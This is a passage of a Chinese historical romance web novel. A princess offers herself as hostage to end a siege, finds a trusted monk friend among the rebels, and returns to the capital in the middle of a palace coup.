箬兰拎着饭食进来。 “郡主,该用饭了,您今日都没怎么吃东西。” 短短几日,萧婧华便瘦了一圈,箬兰看着都心疼。 打开食盒,箬兰一怔,恼怒道:“厨房就给郡主吃这个?” 萧婧华偏头看去。 白米换成了粟米,几碟清淡小菜,外加一碗炖得不怎么见油水的鸡汤。 她脑中一震,“予安!府里还剩多少粮食?” 予安微顿,“省着些,或许只够吃三四日了。” 她这府里都是如此,更别说寻常百姓了。 萧婧华眸光暗淡。 箬兰不敢说话了,低头抹了抹泪,哽咽道:“郡主,我们走吧。” 她心中没什么大义,满心满眼只有萧婧华的安危。 萧婧华避而不谈,“筱筱累了正睡着,让厨房将她的饭菜温好。箬兰,拎着食盒,我们去和阿瑛一起吃。” 这几日,谢瑛一直待在城楼上,哪怕身上有伤,依旧枕戈旦待,不敢安睡。 箬兰擦掉眼泪,忍着哭腔点头,提着食盒跟在萧婧华身后。 予安觅真一如既往跟随。 街上人影稀疏,残风凄凄,四处皆是一片狼藉,隐隐的,还能听见压抑的哭声。 萧婧华心中隐痛,神色恍惚。 见她走偏了,箬兰忙牵住她,“郡主,那边……” “嗖嗖”破空声,几支箭矢快如流星,朝她急射而来。 “郡主当心!” 予安和觅真同一时间拔剑,将箭打落。 又是几道流光闪现,其中一支箭避开予安觅真,直直射向萧婧华。 “郡主!” “啪——” 食盒坠地,饭菜噼里啪啦撒了一地。 萧婧华颤抖着扶住面前之人,声线发抖,“箬兰……” 一支箭穿过箬兰心口,鲜血从伤处涌出,转瞬将衣裳染红。 她想张口说话,可疼得发不出声来,喉间只能发出模糊声响。 含泪的目光看着萧婧华,面上露出淡淡笑意。 好似在说,郡主没事,真好。她的身子软下,萧婧华抱着她跌坐在地,泪水从眼眶中涌出,“箬兰!” 角落里,持着弩箭的高瘦人影闪现。 是逃走的那个衙役。 萧婧华恨声,“予安!杀了他,杀了他!” 予安抿唇,回头看了箬兰一眼,持剑疾速追上去。 “箬兰,你别怕,我带你去看大夫,别怕。” 萧婧华哭着将她抱起。 觅真飞快掠来,折落箭羽,小心将箬兰抱在怀里,折回府中。 …… “疼,好疼……” “快给她止血!” 萧婧华坐在石阶上,面色空白地盯着天空。 艳阳高照,她却觉得浑身发冷。 云慕筱在她身边坐下,揽住她的肩,“她会没事的。” 萧婧华在她怀里摇了摇头。 她忽然推开云慕筱。 “婧华,你要去哪儿?” 云慕筱急声问。 萧婧华轻声道:“我想出去走走。” 顿了瞬,她又道:“那人已经死在予安手中,没事的。” 话落,她丢下云慕筱。 她不能再待下去了,待在那座府邸,箬兰浑身是血的模样便会在她脑中挥之不去。 萧婧华越走越快,几乎是跑着出了府。 出了门,对面传来一阵哭声。 她在门口站了会儿,得知了事情的来龙去脉。 原来这家主人也去守了城楼,被人一刀砍断了腿,他疼爱的妾室听闻后卷了钱财跑了,府中一片愁云惨淡。 萧婧华听了片刻,转身离开。 她漫无边际地走着,听着。 听这满城的哭声。 不少人家办起了白事,白幡挂在门前,萧婧华停了片刻,看着跪倒在灵堂上的老弱妇孺,缓缓躬身鞠了一礼。 她迈步,在城中游荡,心中空茫一片,心慌得厉害。 如果是父王,是皇伯父,亦或是陆埕,太子哥哥遇到如今的情况,他们会怎么做? 萧婧华茫然不已。 “郡主?” 小心翼翼的声音唤回了萧婧华的神志,她辨认着面前的人,“……方叔?” “是我。” 方叔笑了笑,“您怎么到这儿来了?” “我四处走走。” “这个时辰,您可用饭了?”方叔笑道:“我家老婆子正在煮饺子,郡主若是不嫌弃,也留下来吃一顿。” 透过他,萧婧华看见了正在忙碌的方婶和那个小姑娘。 另有一个男孩站在两人身边,替祖母和妹妹打下手。 萧婧华转回视线,注视着面前的方叔。 他比最初见面时还要憔悴,手臂上缠着绷带,隐隐有血腥味传出。可他眼中竟带着笑意。 萧婧华迟疑,“你……不怕吗?” 方叔没问她怕什么,笑了笑道:“我都这把年纪了,早就将生死看淡,只是可惜我那一双孙儿还未长成。” 方叔叹了一声,又笑了,“但我那小孙子说,死又何惧,大不了下黄泉一家团聚去。” 他眼里含着笑星,“我啊,只要一家人在一起,就什么都不怕了。” 萧婧华有些恍惚。 她婉拒了方叔的好意,又去了别处。 她听见许安坚定地说要去守城的声音,纪淑然的柔声鼓励,听着这座城内的所有喜怒哀乐。 夜幕降临时,萧婧华回了府。 谢瑛听说箬兰出了事,急急忙忙赶回来,等了许久,见萧婧华终于回府,忙迎上去,“婧华,你去哪儿了?” 看着她一脸的担忧,又看见身后云慕筱紧蹙的眉头,萧婧华轻声问:“箬兰如何了?” 云慕筱叹道:“送回及时,总算保下一条命。” 还活着便好。 萧婧华闭眼。 影六跪在萧婧华面前,恳切道:“郡主,属下求您,走吧。” 数名暗卫跟随他跪下,影六道:“敌军围城,庆县已无转圜余地,郡主,下令撤退吧。” 萧婧华睁眼,顶着众多视线,轻轻摇头,“我不能走。” 她出身皇室,受万民供养,如今子民有难,所有人都可以走,唯独她不能。 城外那些人已经杀红了眼,倘若让他们进城,这满城的妇孺到时会是什么下场? 她不敢想。 影六面色焦急,急声道:“可事到如今,庆县已经无法保全,郡主留下,无异于是……” 他将“送死”两个字咽下。 “不。”萧婧华摇头,一贯明媚张扬的眉眼间是一片沉静。 “谁说没有办法?” 她什么也做不了,但好在,她还有个不错的出身。 她是恭亲王之女,备受陛下宠爱,这是天下尽知之事。 那县令特地来捉她,说明她对他们来说,还是有用的。 萧婧华闭眼,轻声开口,“把我交出去。” 以她一人换一城,值了。 第106章 刚翻身下马的陆埕身子一顿,心口处忽然一阵抽痛,令他眉头蹙起,脸色略白。 “大人怎么了?” 孟年注意到他的异常,忙跑来扶住他。 “无事。” 缓了许久,那阵疼痛才退却。陆埕吐出一口浊气,心中焦灼却久久不散。 他松开孟年,重新跨上马,“不歇了,咱们连夜赶路。” 孟年震惊,“啊?” 刚要出声询问,就见陆埕已经纵马离开,他急忙翻身上马,招呼衙役一道追上。 …… 夜已深,窗外明月攀上树梢。 萧婧华换了身衣裳,坐在妆台前,细细描着眉。 两道身影似黑夜中落脚无声的黑猫,轻盈落到屋内。 从镜子中窥到二人身影,萧婧华道:“不必劝我,我必须要去。”觅真张唇,“郡主……” 予安双唇绷直,紧紧盯着她。 萧婧华放下眉黛,轻声道:“我走之后,你们即刻护送云姑娘和谢姑娘离开。” “那您呢?” 予安出声询问:“您怎么办?” 萧婧华笑了,“怎么说的我跟去送死一样。” 她转过身望着两人,“我是去当人质的,人质怎么会轻易就死了?不用担心,做好你们分内之事。” “好了,都下去吧。” 觅真还想再说,予安扯了下她的衣袖,对她摇了摇头。 觅真抿唇,不甘退下。 二人走后,萧婧华对镜描妆。 她点了唇脂,戴上金钗,在妆台前坐了一夜。 天快亮了。 她站起身。 红衣拂过妆台珠宝,萧婧华开了门。 门外站了许多人,她的视线一一从众人身上划过。 无论是云慕筱谢瑛,还是予安觅真,亦或是影六赵田,均是一脸沉重。 萧婧华勾唇,“这么凝重作甚?” “婧华。”谢瑛沉声,“你别去,我会想办法。” 萧婧华看着她染血的胳膊,轻轻摇头,“别劝了,劝了我也不会听的。” 她看向影六和赵田,“交代你们的都记住了?” 二人点头。 萧婧华放下心,最后望着云慕筱二人,“箬兰就拜托你们了。” 云慕筱红了眼,轻声道:“我会照顾好她。”“你做事,我当然放心。” 萧婧华笑了,微一颔首,足下微动。 “婧华!” 身后响起云慕筱担忧哽咽的声音,萧婧华略顿片刻。 谢瑛咬牙,“婧华,你等着我,我一定把你带回来。” 萧婧华扬唇,“好,我等着。” 她没回头,越过众人,缓步朝外走去。 天边将亮未亮,她一身火红长裙,灿若骄阳,走过破败长街。 夜里露水深重,裙摆沾染些微湿意,萧婧华一步步朝城门口而去。蓦地,她顿住了。 不知何时,城门两侧整齐站了两列人。 他们中,有牵着幼童的母亲,有年过古稀,互相搀扶的老夫妻,有在战事中缺少一条腿的壮年,也有正值豆蔻的年轻姑娘…… 无一例外,纷纷注视着萧婧华。 萧婧华唇瓣开合,“你们……” 他们伏地而跪,无声而郑重地表露自己的感激。 两条长龙伏在她身侧,为她铺就一条去路。 他们是感激的,心是不忍的,可无人出声阻拦她。 在无数种激荡的情绪中,活着,才是最大的诉求。 即便如此,萧婧华眼中依然涌出泪意。 她抬步,穿梭在跪地不起的百姓间。 她出身皇族,生来便是天之骄女,对他们,她始终高高在上。那些流言蜚语,肮脏的揣测更令她厌恶。 他们爱看热闹,易被煽动,可忘性也大,最是单纯。 谁对他们好,他们便对谁好。 耳畔哭声凄凄切切,城门开了。 萧婧华缓步而出。 走出城门,身后忽然传来震耳欲聋的响声。 “恭送郡主。” 声音缭绕,林间鸟雀啼叫,似是在附和。 心中上了锁的某处忽然塌陷,萧婧华顿了顿,毫不犹豫往城外而去。 天边大亮,晨光自东方照射而来。 地面立着不少营帐,持枪的兵卒在外巡视,忽然见一道火红身影徐徐而来,立即戒备喝道:“什么人?!” 那道身影停住。 少女抬睫,露出一张精致明媚的面容。 看着兵卒亮出的武器,她并未显露惊容,声如珠落玉盘,泠泠动听,“萧氏,萧婧华。” …… “郡主大驾,有失远迎。” 萧婧华一入帐,便听到这道略显熟悉的声音。 上方大马金刀地坐着一人,冷硬的脸侧着,露出占据半张脸的刀疤。 他手中拿着一把刀,正拿着布细细擦拭,刀身折射出雪亮光芒,令人骤生寒气。 望着那张熟悉的脸,萧婧华失声,“是你?!” 那人转过脸,黑沉的眼睛盯着萧婧华,“难得郡主还记得我。” 萧婧华握紧拳,指甲陷入手心。 这张脸,便是想忘记都难。 忽视她射来的冰冷目光,寇全继续擦拭刀身,“郡主见我所谓何事?” 萧婧华沉气,压下心中愤怒,“本郡主要你退兵。” “哈。” 里头响起一声冷笑,一道人影走出来,阴沉沉地望着萧婧华,“郡主怕是忘了,如今你为阶下囚,拿什么和我们谈条件?” 又是一个熟人。 萧长瑾曾说那群山匪入了营州后便失去了踪迹,她早该想到的。 萧婧华望着潘祝兴,语气平静,“凭我,是恭亲王之女,陛下亲封的琅华郡主。” “今日我敢来,便是做好了万全的准备。” 她道:“你们可知,与你们交战多日的年轻女将是谁?” 潘祝兴面色难看地望向寇全。 一个女人,竟也敢上战场杀敌,更何况还杀了他不少人,潘祝兴面上挂不去,心中恨不得将她碎尸万段,早对她的身份格外好奇。 萧婧华道:“那是谢同将军之女,实打实的将门虎女,你们这种野路子出身的自然无法与她相比。” “若非你们人多势众,恐怕在她手里还撑不过两日。” “放他娘的狗屁!” 潘祝兴大怒,“让她来和我比一场!” 萧婧华冷笑,“就凭你?” 她上上下下扫视潘祝兴一眼,不屑之意溢于言表。 潘祝兴怒上心头,大步朝萧婧华走去。 “行了。” 寇全出声阻拦了他的步伐,冷冷睨着萧婧华,“你究竟想说什么?” “昨日,她已秘密离开庆县,前往青州调兵。倘若你们不退,只有死路一条。” 寇全眸光骤冷,潘祝兴笑了,“诓人的吧?我们将庆县围得跟铁桶似的,她难不成是飞出去的?” 萧婧华冷凝着他不语。 寂静中,潘祝兴面上的笑渐渐散去,惊疑不定地望着寇全。 萧婧华又道:“也不知围攻庆县一事,你们幕后之人知不知晓。倘若他知道几万大军折在你们手里,会是个什么反应?” 敌军突然围城,毫无预兆,倒像是临时之举。 萧婧华起初百思不得其解,如今见了寇全潘祝兴二人,倒是明了了。 铜腾山铁矿骤然被炸,寇全不会不查,或许得知她在城中,以为是她所为,新仇旧恨一时涌上心头,满腔愤懑想将她擒住,冲动之下派兵攻城。 短短一夜,他来不及向上头请示。 因此,他幕后之人一定不知他的所作所为。 萧婧华眉头微拧。 造反的主谋,究竟是谁? 寇全擦拭刀身的手一顿,眸色不断变换。 飞不了,但能遁走。 这样看,倒是有几分可信。 主上若是知晓他妄自动兵…… 他对潘祝兴使了个眼色。 萧婧华扬唇,“她昨日一早便离了庆县,这时才去追,晚了吧?” 潘祝兴面色难看。 寇全盯着萧婧华,半晌忽而道:“既是如此,那郡主为何今日会出现在此处?” 他仰头,面上笑意微凉,意味不明道:“留在城中等待救援不好?” 萧婧华冷笑,“你们的狗腿子烧了粮仓,城中百姓无粮,如何能撑到援兵到达?” 她道:“我奉劝你们即刻退兵,不仅能留条活路,还能得到我这个人质。但若是不退。” 少女声线冷漠,“濒死之人能做出什么,谁也无法预料。不过,总不过是你死我活。” 寇全发出一声不屑冷嗤,“青州离此地尚远,来往需多日,我们在援军到来之前攻占庆县,一样能活。” “不。” 萧婧华抬睫,冷冷睨着他,“我会在你们攻下庆县前自戕,我若死,我父王定不会善罢甘休,哪怕你们藏到地底,他也会掘地三尺,将你们挖出来。届时凡事受阻,你们的主子怕是要头疼了。” “我说到做到,你,大可试试。” 寇全眸色彻底阴沉,怒极反笑,“郡主好胆量。” 萧婧华微微扬唇,语气缓和了不少,“本郡主所求,不过是这一县百姓的安危。庆县偏僻,就算将此地攻下,你们又能做什么?” “用我来威胁皇室,是你们最好的选择。” “哐当——” 寇全扔下帕子,把刀重重搁在桌上。 “行,郡主心怀黎民,我成全你。” “潘祝兴。” 他冷声下令,“吩咐下去,即刻退兵。” 听见这句话,萧婧华提起的心终于放下了,袖中握着匕首的手渐松。 “头儿!” 潘祝兴急声,对上寇全投射过来的冷光,咽下口中话音,不甘道:“是。” “来人!” 寇全怒声道:“将郡主请下去,好生伺候。” 最后两个字,他说的咬牙切齿。 寇全心中生出悔意,早知如此,当初就该杀了她,免得她来了庆县坏他大事。 这次的事搞砸了,主上定不会轻饶。 “把她交给我吧。” 帐外传来含着笑音的温柔男声。 这个声音…… 萧婧华脸上从容神色彻底龟裂,猛地转身,不可置信地看着来人。 那人背着光,一身僧袍洁白似雪,玉一般的精瘦手腕上缠着一串佛珠,五官俊美无俦,桃花眼在看向萧婧华时涌现出温和笑意。 “许久不见了,郡主。” …… “退了,他们退兵了。” 城楼之上,一名兵士欢呼雀跃。 这声响传至楼下,无数百姓抱紧身侧仅剩的亲人,嚎啕大哭。 劫后余生的庆幸笼罩着整座县城,耳畔哭声与笑声交织。 谢瑛持枪而立,遥望远处退散的大军,面色凝重,担忧不已。 “阿瑛。” 听见云慕筱在下方唤她,谢瑛一跃而下。 云慕筱道:“他们退了,你也出发吧。” 谢瑛点头,继而眉头拧起,“你当真要留下?” 云慕筱俯视城楼之下抱成一团的百姓,轻声道:“城内无主,不知会乱成什么样子。” 现下他们是一致对外,可人心难测,危机解除之后,望着家中空荡,难免会心生贪念。 “而且箬兰伤得重,不好挪动。等她伤好些许,暂代县令到了,我就启程回京。” “好。” 她既已下定决心,谢瑛便不再劝,“我把谢春留给你,赵统领会随我一道去见青州刺史,他承诺手下之人任你差使,你尽管放手去做。” 云慕筱点头,“好。影六他们已经追上去了,你们也快动身吧。” 谢瑛握紧长枪,“我这就去寻赵统领。” 她快步往下走。 云慕筱站在城楼上,目送两匹快马离去,心下担忧不已。 婧华,一定要平安无事。 第107章 萧婧华被请进了营帐。 被忽略的细节在此刻涌上心头。 那间废弃的佛殿平时里并无外人来往,怎么那两人偏偏就在那处会面。 为何谢瑛会在离灵晞山不远的官道上救下她。 原来是因为,上峰在承运寺啊。 萧婧华看着念慈,被背叛欺骗的滋味齐齐涌上心头,她眼眶发酸,红着眼质问:“为什么?我从来没有怀疑过你,为什么要当逆贼?!” 当年桃花树下初相遇,她一直将念慈视为挚友,她在心中怀疑过许多人,却唯独不曾怀疑过念慈。 可为什么是他? 怎么能是他! 念慈拨弄着佛珠,微微侧身避开她的视线,唇瓣轻轻勾起,“凡尘之事,哪有那么多为什么。” “只是想,便这么做了。” “你知道你在说什么吗?!” 萧婧华怒了,“什么叫想想,你知不知道那座城里死了多少人?!” “他人的生死,与我何干?” 念慈笑意不变。 那双勾人的桃花眼弯起,眼中空无一物。 既无佛陀,也无众生。 忽然一阵凉意从心底窜起,萧婧华指尖发抖,难以置信道:“你怎么会变得这样冷漠无情?那可是活生生的人啊!” 念慈手指微僵,缓声道:“我一直都是如此,从未变过,不过是郡主不曾认清罢了。” “骗子。”萧婧华眼眶发红,声线微颤,“若是如此,寺里那只野猫,那个叫明言的小沙弥,你为何要管?!” “小猫小狗,兴起逗弄两下,不是很寻常?” 念慈转过身来,笑眼盈盈。 萧婧华不信,“你……” 话音未落,脑中一阵眩晕,她陡然顿住,身子软下去。 一双手将她接住。 念慈望了眼一旁燃起的香,将萧婧华抱起放在榻上,替她掖了掖被子。 在床边坐了须臾,凝望着她眼下青黑,他叹道:“一看便是一夜未眠,好好睡一觉吧。” 榻上之人呼吸平缓,念慈起身。 寇全候在帐外,目光微不可察地往里捎去一眼。 一道身影挡住他的视线,寇全周身一凛,忙道:“大人,已将大军打散,一个时辰后便能启程。” 念慈拨着佛珠,温声道:“辛苦。” 寇全抿唇,“此次是属下擅自行动,请大人责罚。” 念慈弯唇,“寇将军虽意气用事,但这也是个机会。” 他摩挲着温润佛珠,轻声道:“若非此次你擅自出兵,阿兴还不知要磨蹭多久。” 寇全迟疑,“主上那儿……” “他虽气愤,但此事也令他下定了决心。”念慈温声安抚,“放心吧,他不会过多苛责,最多只是罚二十棍罢了。” 寇全终于松了口气,想起某事,又道:“那姓邵的抢了先锋,率先领着东西去了京城,大人来了多日,他竟也不来拜见。” “寇将军。”念慈含笑道:“他是阿兴派来的人,未来你与他总要共事,即便看不上眼,也多少收敛些。” 寇全惊觉念慈已发现他心中不满,垂首恭声,“是。” “好了,下去吧。” 念慈抬头望着晴天白云,喉间发出一声轻叹,“很快,就要变天了。” …… 昏昏沉沉间,萧婧华感觉自己被塞进了马车。 她不知自己睡了多久,醒来时饥肠辘辘,胃里烧得慌。 “醒了?” 耳畔响起一道清润男声,她皱眉睁眼。 马车摇摇晃晃往前行,车里点着灯,昏黄灯光照亮整个车厢,念慈坐在另一侧,垂首认真编着手中草叶。 萧婧华警惕探向袖间,摸到匕首还在,她松了口气,冷声问:“你要带我去哪儿?” 念慈动作不变,“以后你会知道的。” 萧婧华皱眉。 腹中发出一阵响,她伸手捂住小腹。 念慈笑了,“饿了?那有吃的。” 不远处的小几上放着饭菜,萧婧华正饿着,自然不会亏待自己,慢慢挪过去抓起筷子。 即便再饿,她的动作依旧优雅。 等她吃完,念慈把手里的草编兔子递过去,“送你。” “啪——” 萧婧华一巴掌把他的手拍开,那只兔子从念慈手心滚落,跌落在地。 “逆贼的东西,我不要。” 念慈愣了许久,低声喃喃,“……不肯要……我的吗?” 他俯身,捡起地上被拍得又歪又扁的可怜兔子,指腹轻捏,想将它恢复原样。 他选的草叶本就柔嫩,这一巴掌下去,兔子几乎毁了一半。 半晌不能复原,念慈仿佛被抽去了一半的精神气,眼里的笑逐渐消失,化为不见涟漪的深井古潭。 他低声道:“好好休息。” 随后一撂衣袍,径直出了马车。 车帘放下,隔绝了身后人的视线。 念慈一露面,寇全便迎了上去,“大人。” “无事,我下来走走,退下吧。” 念慈挥手。 他单手负在身后,一手缠着佛珠,缓步离开驻扎之地,独自走在林间。 绿荫如华盖,遮挡住了夜幕星光,也便利了暗中窥视者。 念慈拾起地上一片树叶,仰头借着稀疏银辉,望着叶片上的脉络。 “虎字营的应当更擅武才对,怎么你们二人好似长于隐匿?” 夜风吹动树梢,刮起地上草叶,两道猫似的身影立在他身后。 觅真冷声质问:“你是什么人,为何对皇室暗卫如此清楚?” 念慈笑了笑,“你们是来保护她的?” 予安嗓音平静又冷漠,“我们要带郡主离开。” “不。”念慈摇头,“她只有跟在我身边才最安全。” 指尖一松,那片叶子很快被风带走,不知飘向何方。 念慈回身望着两人,“放心,我不会伤害她。” 觅真一万个不信,握住腰间剑柄。 念慈叹气,苦恼道:“怎么就是不信呢?” “动手吧,别伤人性命。” 飒飒抖动的树枝上无声无息落下一道身影,齐齐朝予安觅真掠去。 二人一惊,拔剑格挡。 剑气震荡,落叶飘在空中,在这片星光无法照耀的地方,三道人影打得不可开交。 予安心中震惊。 这人不但身手了得,更诡异的是,他好似对她的武功路数极为熟悉,就好像……闭着眼都能知道她的下一招。 竟让她好似回到了当初在营里与师长交手时。 百招之内,予安和觅真齐齐败下阵来。 那人将两人捆住,垂首立在念慈面前,等候他的吩咐。 “辛苦阿叔,还有后面那些尾巴,也一并捆了吧。” 念慈温声道。 黑影轻轻点了点头,予安敏锐地察觉到,他似是伤了喉,无法出声。 被黑影提溜着离开之时,予安扭头望向念慈。 黑夜中看什么都不甚清晰,依稀只见他立在林中,风吹过衣袍,落叶打在身上,身影几乎与这丛林融为一体。 却无端孤寂。 …… 第二日用膳后,萧婧华撑着头,脑中昏沉。 她意识到什么,骤然抬头,摄人的目光射向念慈,恨声道:“你给我用药?!” 念慈爽快地点头承认了,桃花眼微弯,“你不是夜中难眠?我帮你。” 用药算什么帮?! 萧婧华心中气极,恨不得撕了念慈这张嘴。 刚站起身,眼前一片晕眩,她扶着榻稳住身形,咬牙道:“念慈,你好样的。” 念慈轻叹,“放心,不会对你的身子造成任何伤害。” 萧婧华跌到榻上,双眼彻底闭上。 模糊中,有双手替她摆正姿势,轻柔的嗓音落在耳畔,“睡吧,睡一阵,就都过去了。” 意识彻底陷入黑暗。 …… “废物!一群废物!找不见郡主,本王要你们的脑袋!滚,都给本王滚出去!” 怒吼声后,屋内噼里啪啦一阵响,陆埕站在门外,面色冷到极致。 “还没有郡主的消息?” 孟年摇头,语气担忧,“没有。” 陆埕骤然握拳。 他星夜赶赴京城,终于上报了营州之事,可没等陛下派兵,营州逆贼公然围城,琅华郡主为护满城百姓,只身入了贼营的消息便传了回来。 恭亲王派出无数人寻找萧婧华下落,可那帮人就像人间蒸发一样,遍寻不见。 陆埕身影晃了晃。 “大人!” 陆埕伸手,阻拦了孟年的动作。 繁琐的公务积压下,他日夜担忧萧婧华的安危,被后悔与焦虑折磨,已经连着好几日不曾睡个好觉了。 “王爷,姑爷!” 汤正德匆匆而来,语调略显兴奋,“太子传话来,说是有人在临州发现了郡主的踪迹。” 陆埕猛然抬头。 ……萧婧华不知自己睡了多久,也不知身在何处,只能任由念慈不知从哪儿寻来的侍女摆弄。 这日醒来时,终于不在马车里。 念慈命人为她换衣梳妆,摆上一大桌菜肴,笑着将筷子递给她,“吃吧。” 萧婧华警惕,目光怀疑,“你究竟要做什么?” 念慈笑着摇头,“这阵子亏待你,我向你赔罪。” 两道细眉皱起,萧婧华犹疑着接过他手中筷子。 念慈扬唇,倒了两杯酒,拿起其中一杯,幽幽叹道:“说起来,我们许久未曾一道饮酒了。” “最后一杯,陪我喝了吧。” 萧婧华冷着脸不动。 他无奈一笑,与桌上酒杯轻轻一碰,仰头饮尽。 桌上菜肴几乎看不出动过的模样,念慈叹道:“既不想吃,那便走吧。” 萧婧华终于开口,“你要带我去哪儿?” 念慈取出黑纱,笑意和缓,“带你回家。” 萧婧华被蒙住眼,任人搀扶着带上马车。视线受阻,耳畔一切都显得格外清晰。 她能听见车轮在地上滚动的声音,房门关阖的声音……不对! 萧婧华心中一惊。 如今尚是白日,若是身处城中,有人关门,那应当有人声才对,为何这般安静,静得像是风雨来临前平静的夜晚,无端让人心慌。 鼻尖隐隐有铁锈味缭绕,萧婧华心跳如擂鼓,一声声震在她耳边,令她心慌意乱。 她迫切地想知道,外边究竟发生了什么。 “你究竟要带我去哪儿?!” 抓住身下被褥,萧婧华急声质问。 念慈轻叹,“待会儿你就知道了。” 又是这模棱两可的回复,萧婧华咬住下唇,忍着慌乱,强迫自己冷静下来。 车轮声源源不断传入耳中,听得她很是焦躁,指甲在被面上留下一道道抓痕。 大概过了一个时辰,马车终于停了。 念慈扶着萧婧华下了马车,引着她走到某个地方,轻声道:“到了。” “你在这儿别乱走,待会儿会有人来接你。” 这句话落下,除了呼啸风声,再无别的声响。 萧婧华察觉到不对,猛然扯下眼上黑纱,“你究竟在玩什么把……” 话音顿住,她怔怔望着周围景象。 她站在高楼之上,天上白云仿佛触手可及。 阳光洒在琉璃瓦上,流光溢彩,辉光灿烂。飞檐斗拱、雕梁画栋,无数宫殿矗立,组成磅礴威严的皇城。 是皇宫。 他真的,送她回了家。 萧婧华目光虚虚望着不远处的宫门。 “郡主!” 熟悉的嗓音在身后响起,两道熟悉的人影齐齐奔来,视线焦灼地在她身上扫过。 “郡主可有受伤?” 萧婧华轻轻摇头,望着予安觅真,“你们……” 两个字出口,她猛地意识到不对。 皇宫守卫森严,念慈是怎么把她送回来的?予安和觅真又怎么会出现在这儿? “杀!” “杀!” 雷鸣般的杀声将萧婧华惊醒,她惶然回头。 宫道上无数身着盔甲的兵卒举着武器,冲杀入殿。 短短数息间,已有数道身影倒地,鲜血挥洒,与宫墙融为一体。 这一幕,宛如她梦中场景重现,萧婧华双腿一软,巨大的恐慌占据心头。 父王,皇伯父,太子哥哥…… 父王! 予安和觅真一左一右将她扶住,面色震惊地望着远处厮杀。 “宫里……发生了何事?” 萧婧华双手发颤,混乱道:“父王,我要去找父王,父王……” “婧华!” 萧婧华怔愣低头。 陆埕站在楼下,素衫染血,发丝凌乱,目光焦急地注视着她。 眼里涌出泪,萧婧华狂奔下楼,扑进陆埕怀中,语无伦次问他,“发生什么事了,皇宫怎么了,父王呢,我父王呢?” 陆埕紧紧将她拥住,失而复得的欣喜彻底将他淹没,鼻尖萦绕着萧婧华身上芳香,他勉强冷静,低声道:“你失踪了一个月。” 萧婧华一怔。 他又道:“谢姑娘请青州刺史出兵救你,可暗卫们毫无音讯,她找不见你的身影,着急回京求助。王爷派了无数人出京,听说有人在临州见过你,我和太子一道奔赴临州。” “可在出京后,我们便意识到中计了。” 那群逆贼意图拿着萧婧华威胁皇室,怎么可能轻易透露她的行踪? 细细想来,应当是调虎离山之计。 陆埕道:“我与太子秘密回京,却发现城门紧锁。打探后得知,二皇子与兵部尚书房兴言联合逆贼,逼宫谋反。” 二皇兄? 萧婧华抬起湿润长睫。 怎么会是他? 陆埕擦去她脸上泪珠,“太子调兵,王爷领兵救驾,如今都在宫内。”萧婧华哽咽问:“你怎么知道我在这儿?” 陆埕顿了顿,“有人给我传了信。” “是念慈吗?” 一滴泪珠砸在陆埕手上,他一颤,沉默下来。 萧婧华却笑了,笑意苦涩,“他到底要做什么?” 二皇兄谋逆,暂能说是他早有野心,可念慈呢?他蹚这摊浑水的目的究竟是什么? 陆埕抿唇。 别说她,就连他在看见念慈时,也不免震惊不解,更别说她。 萧婧华将念慈当做知心好友,如今被友人背叛,她心里只会更加难受。 他抱紧了她。 萧婧华闭眼,松开陆埕,冷静道:“皇伯父呢?” “在长秋殿内。” 陆埕道:“殿外人太多,我们暂时进不去。” 顿了顿,他轻声开口,“陛下此时,生死不知。” 萧婧华抬头,目光清澈坚定,“我能进去。” 年幼时她在长秋殿玩耍,曾见到有人突然出现在殿内。 她好奇得不行,缠着皇伯父问了许久,皇伯父笑着抱起她,打开了书架后的暗门。 他说,这殿内藏着几条密道,是专门用来逃命的。 刚好,皇伯父带她走过其中一条。 萧婧华擦干泪,“我带你们进去。” “前面的是什么人?!” 忽然一声怒喝,萧婧华偏头。 身着银色盔甲,手持长枪的年轻女将立于马上,英姿飒爽,烈烈如火。 认出萧婧华,她目露惊喜,一跃下马,快步朝她走去,一把将萧婧华抱在怀里,“婧华,你没事,你回来了!” “阿瑛。” 萧婧华被她盔甲硌得皱起脸,“疼。” 谢瑛忙将她松开。 在她开口之前,萧婧华道:“话留到之后再说,你来得正好,跟我来。” 一路上都是冲杀的逆贼与尖叫着逃跑的宫人,陆埕简单与谢瑛解释。 萧婧华带着几人来到某所废弃的宫殿,打开了假山后的暗门。 密道狭小,仅容一人通过,萧婧华行走在黑暗中,摸索着前行。 走到尽头,她模仿记忆中崇宁帝的动作在墙上抚摸,碰到某处凸起,用力按下。 石墙翻动,光线涌入,露出一张书架。 她正要出去,外边忽然传来一声怒吼。 “你问我为什么?因为你杀了我爹,这个理由够不够?!” 萧婧华呆住了。 二皇兄在说什么? 什么叫你杀了我爹? 【终章】 第108章 长秋殿内,萧长兴身着玄色长袍,俊美邪肆的面容染着血。他仰面笑着,笑容张扬又癫狂,右手握着一柄剑,血迹顺着剑身滴答坠地。 崇宁帝坐在书案后,面色灰败,唇角沾血,有气无力地靠着椅背,胸膛起伏缓慢,似在忍受着极大的痛楚。 成京跪在他身侧,脸色煞白,脚边滚落的茶水打湿衣袍,似蜿蜒曲折小溪,缓缓流淌。 禁军左卫将军高贺领着人立在最前方,剑尖对准萧长兴。这些禁军身上沾满了血,血腥气弥漫在整座殿宇内,始终不曾后退一步。 崇宁帝费力抬起手,一字一字缓慢道:“孽子。” 萧长兴收了剑,双手拄着剑柄,歪头饶有兴致地看着他,唇边勾起轻嘲笑意,“除了这个,你还能说什么?” 崇宁帝被气得剧烈咳嗽,唇角漫出黑色血液。 成京慌得拿出手帕,颤抖着替他擦去血渍,“陛下,您别再开口了。” 崇宁帝挥开他的手,动作间挥落桌上奏折,他沉声怒道:“孽子,你为何弑父夺位。” “为什么?你问我为什么?”萧长兴哈哈大笑,“因为你杀了我爹,这个理由够不够?!” 此话一落,殿内转瞬安静。 成京猛地看向萧长兴,又转向面色铁青的崇宁帝,深深埋首,恨不得将耳朵捂上。 以高贺为首的十来个禁军更是瞪大了眼,满脸不可置信。 “年幼时,我总是想不通,同样是儿子,为何你对萧长瑾寄予厚望,却对我不假辞色。” “母妃劝我,他是未来储君,得你看重也是应该的。可我不服。”萧长兴缓缓道:“就凭他是长子,出自先皇后腹中,将来他就该是太子?” “他只是比我早出生几年,待我长成,定不比他差。于是,萧长瑾学什么,我就学什么,他读史书,我也读,他学骑射,我也学。可我。日夜苦读,学骑马学得满手是血,摔得浑身是伤的时候,你说了什么?” 萧长兴大笑,笑得眼泪都出来了,“你说,邯郸学步,妄自尊大。我故作顽劣,你又骂我不思进取。原来不管我做什么,你都不满意。” 